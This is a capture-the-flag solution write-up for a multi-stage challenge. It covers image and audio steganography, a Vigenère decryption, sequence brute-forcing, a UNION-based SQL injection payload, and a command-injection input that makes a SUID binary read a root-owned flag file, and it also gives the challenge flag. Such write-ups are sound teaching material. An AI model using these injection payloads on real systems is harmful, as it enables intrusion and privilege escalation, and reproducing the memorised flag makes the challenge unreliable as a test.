157 lines
4.4 KiB
Markdown
157 lines
4.4 KiB
Markdown
# LAYER_ZERO — Solution
|
||
|
||
**Difficulty:** Hard | **Category:** Misc | **Flag:** `ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}`
|
||
|
||
## Overview
|
||
|
||
Multi-stage challenge. Four sealed channels must be unlocked in sequence.
|
||
Each channel produces a token; submit all four to `LAYER_GOD` to unlock a
|
||
SUID binary that reveals the flag.
|
||
|
||
| Layer | Channel | Port | Technique |
|
||
|-------|---------------|---------|-----------------------------|
|
||
| L01 | CHANNEL_STATIC | 4141/tcp | PNG filter-type steganography |
|
||
| L03 | CHANNEL_KNIGHTS | 8080/tcp | SQL injection + Vigenère cipher |
|
||
| L07 | CHANNEL_WIRED | 4242/tcp | State machine sequence brute-force |
|
||
| L13 | CHANNEL_EIRI | 9001/tcp | Echo hiding audio steganography |
|
||
| GOD | LAYER_GOD | 6660/tcp | Ritual submission + SUID exploit |
|
||
|
||
## Layer 01 — CHANNEL_STATIC (PNG stego)
|
||
|
||
The PNG at `/home/lain/CHANNEL_STATIC/lain_signal.png` hides data in the
|
||
**filter type bytes** — the first byte of each scanline in the raw IDAT stream.
|
||
|
||
```python
|
||
import struct, zlib
|
||
|
||
with open("lain_signal.png", "rb") as f:
|
||
data = f.read()
|
||
|
||
pos, idat = 8, b""
|
||
while pos < len(data):
|
||
length = struct.unpack(">I", data[pos:pos+4])[0]
|
||
ctype = data[pos+4:pos+8]
|
||
if ctype == b"IDAT":
|
||
idat += data[pos+8:pos+8+length]
|
||
pos += 12 + length
|
||
|
||
raw = zlib.decompress(idat)
|
||
row_size = 1 + 64 * 3 # 1 filter byte + 64×RGB pixels
|
||
# First 24 filter bytes encode 3 ASCII chars (8 bits each)
|
||
bits = [raw[i * row_size] for i in range(24)]
|
||
decoded = "".join(chr(int("".join(map(str, bits[i*8:(i+1)*8])), 2)) for i in range(3))
|
||
```
|
||
|
||
Submit the decoded string:
|
||
|
||
```text
|
||
SUBMIT <decoded>
|
||
```
|
||
|
||
Server responds with token `L01:xxxxxxxxxx`.
|
||
|
||
## Layer 03 — CHANNEL_KNIGHTS (SQLi + Vigenère)
|
||
|
||
The web service at port 8080 has a `/search?q=` endpoint vulnerable to UNION-based SQLi.
|
||
|
||
```text
|
||
/search?q=' UNION SELECT id,alias,rank,access_code,status FROM members--
|
||
```
|
||
|
||
One row contains a Vigenère-encrypted access code. Decrypt it with key `KUDARANAI`:
|
||
|
||
```python
|
||
def vigenere_decrypt(text, key):
|
||
result, ki = [], 0
|
||
for c in text.upper():
|
||
if c.isalpha():
|
||
shift = ord(key[ki % len(key)].upper()) - ord("A")
|
||
result.append(chr((ord(c) - ord("A") - shift) % 26 + ord("A")))
|
||
ki += 1
|
||
else:
|
||
result.append(c)
|
||
return "".join(result)
|
||
```
|
||
|
||
Submit the plaintext to `/submit?code=<plaintext>`.
|
||
Server responds with token `L03:xxxxxxxxxx`.
|
||
|
||
## Layer 07 — CHANNEL_WIRED (state machine)
|
||
|
||
The service at port 4242 expects a 4-word sequence. The first two are fixed:
|
||
`PRESENT_DAY`, `PRESENT_TIME`. Brute-force the last two from known word lists:
|
||
|
||
```python
|
||
WORD3 = ["NAVI_LAYER_07", "PROTOCOL_SEVEN", "WIRED_ACCESS",
|
||
"KNIGHTS_CODE", "EIRI_SYSTEM", "DEUS_NODE"]
|
||
WORD4 = ["CONNECT", "DESCEND", "MERGE", "ASCEND", "RESONATE", "DISSOLVE"]
|
||
|
||
for w3, w4 in itertools.product(WORD3, WORD4):
|
||
# try sequence: PRESENT_DAY → PRESENT_TIME → w3 → w4
|
||
```
|
||
|
||
Server responds with token `L07:xxxxxxxxxx` on success.
|
||
|
||
## Layer 13 — CHANNEL_EIRI (echo hiding)
|
||
|
||
The service at port 9001 streams 30 seconds of 16-bit mono PCM at 44100 Hz.
|
||
Data is hidden via **echo hiding**: a 1-bit echo at delay `D1=200` (bit 1) or
|
||
`D0=100` (bit 0) is embedded in 1024-sample segments.
|
||
|
||
```python
|
||
import numpy as np
|
||
|
||
# After streaming and collecting pcm_data:
|
||
samples = np.frombuffer(pcm_data, dtype="<i2").astype(float) / 32767.0
|
||
|
||
SEG_SIZE, D0, D1 = 1024, 100, 200
|
||
N_CHARS = 5
|
||
bits = []
|
||
for i in range(N_CHARS * 8):
|
||
seg = samples[i * SEG_SIZE: (i + 1) * SEG_SIZE]
|
||
ac = np.correlate(seg, seg, "full")
|
||
mid = len(ac) // 2
|
||
bits.append("1" if ac[mid + D1] > ac[mid + D0] else "0")
|
||
|
||
code = "".join(chr(int("".join(bits[i*8:(i+1)*8]), 2)) for i in range(N_CHARS))
|
||
```
|
||
|
||
Submit the decoded code:
|
||
|
||
```text
|
||
SUBMIT <code>
|
||
```
|
||
|
||
Server responds with token `L13:xxxxxxxxxx`.
|
||
|
||
## LAYER_GOD — Ritual + SUID exploit
|
||
|
||
Submit all four tokens to port 6660:
|
||
|
||
```text
|
||
RITUAL L01:xxxxxxxxxx L03:xxxxxxxxxx L07:xxxxxxxxxx L13:xxxxxxxxxx
|
||
```
|
||
|
||
On success, the SUID binary `/opt/protocol7/eiri_validator` is unlocked.
|
||
Exploit it via command injection — the binary calls `system()` with unsanitised input:
|
||
|
||
```bash
|
||
/opt/protocol7/eiri_validator
|
||
# When prompted, enter:
|
||
$(cat /root/flag.txt)
|
||
```
|
||
|
||
## Automated Solver
|
||
|
||
```bash
|
||
python3 solve.py [host] [port]
|
||
```
|
||
|
||
## Flag
|
||
|
||
`ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}`
|
||
|
||
## Author
|
||
|
||
Eun0us
|